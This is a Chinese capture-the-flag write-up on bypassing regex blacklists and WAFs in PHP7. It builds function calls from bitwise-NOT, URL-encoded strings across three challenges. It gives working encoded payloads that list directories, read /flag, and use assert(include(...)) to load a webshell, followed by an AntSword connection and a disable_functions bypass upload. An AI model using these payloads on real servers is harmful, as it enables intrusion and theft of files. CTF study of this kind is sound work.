主要记录一下这两天遇到的题目,详细的记录一下利用PHP7特性去绕过黑名单,顺便分享一下以此特性生成的过狗马
0X01
根据题目可以看出来,主要目的是为了让我们绕过正则匹配,之后执行getFlag()函数,这里指出了一个思路,因为题目是基于php7的,我们可以根据php7的特性进行解题
可以具体的分析一下,根据php官方所说的意思,与原来版本不同的是:
phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行
所以在php7的环境里,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的”^”和”~”由于异或的字符较多,我比较习惯使用”~”(取1的补数,例如5,它的二进制就是101,那么它的补数就应该是010就是2)
下面是生成方式,使用URL编码的原因是,在进行”~”运算时,经常会生成不可见字符
$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo
尝试执行一下:
可以看到成功的执行了phpinfo函数,下一步就非常简单了,直接执行getFlag()函数即可
$a = "getFlag";
echo urlencode(~$a);
%98%9A%8B%B9%93%9E%98 //getFlag
执行
这全程抄袭人家的,主要知道php7的特性用”~”来做题的思路就好
0X02([极客大挑战 2019]RCE ME)
题目环境:
这道题相比于上一道题来说,就不是简单的让我们去执行函数了,而是让我们通过限制去进行目录查看执行命令等操作。依然是用原来的方法使用”~”
$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo
执行了phpinfo查看一下呗禁用的函数
可以发现我们常用的执行系统命令的函数都被ban了,不过不要紧,我们先尝试读取系统目录,这里使用scandir函数
print_r(scandir('./'));
进行编码
%8F%8D%96%91%8B%A0%8D # print_r
%8C%9C%9E%91%9B%96%8D # scandir
尝试读取当前的目录
(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));
尝试获取根目录内容
发现了readflag和flag文件,尝试一下直接读取flag
readfile('/flag');
编码一下
%8D%9A%9E%9B%99%96%93%9A # readfile
%D0%99%93%9E%98 # /flag
尝试读取一下readflag文件
(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));
可以看出是一个二进制文件,我们需要执行/readflag文件来读取字符串,但是我们常用执行系统函数的方法都被ban了,但是经过fuzz发现,php的assert函数没有被ban,我们可以使用assert函数写shell
assert($_POST['a']);
编码一下
%9E%8C%8C%9A%8D%8B # assert
%DB%A0%AF%B0%AC%AB # $_POST
%9E # a
尝试一下
(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);
空白啥都没有
继续尝试别的方法吧
在查看tmp目录下发现有其他内容
print_r(scandir('./'));
编码一下
(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("~%D0%8B%92%8F")));
为啥我啥都没有!草!
…某不知名大型跑马场,有现成的就很方便,随便读一个shell看看内容
尝试文件包含一下
assert(include("hack.php"););
编码一下执行命令
(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));
成功执行命令,使用蚁剑连接一下,上传我们的bypass脚本和扩展库
assert(include("ssll.php"););
(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);
执行命令
0X03
访问题目
看到这是一个类似计算器的页面,查看源码发现calc.php
访问页面发现是一个代码审计题目,依旧是绕过黑名单执行命令
与前面不同的是,题目只对一些特殊符号进行了过滤,首先测试绕过了$str执行函数,这里有一篇文章讲述了原理,我们在输入的参数面前加%20即空格,即可以绕过waf
https://www.freebuf.com/articles/web/213359.html?tdsourcetag=s_pcqq_aiomsg
尝试用一下
成功执行phpinfo,下一步就是看一下能不能直接查看系统目录,使用:
print_r(scandir("./"));
因为存在黑名单中”/“,这里我们同样使用”~”去绕过
编码一下
print_r(scandir((~%D1%D0)));
成功获取当前页面的目录列表,下一步获取根目录列表
print_r(scandir((~%D0)));
发现flagg文件,尝试读一下
readfile((~%D0%99%CE%9E%98%98));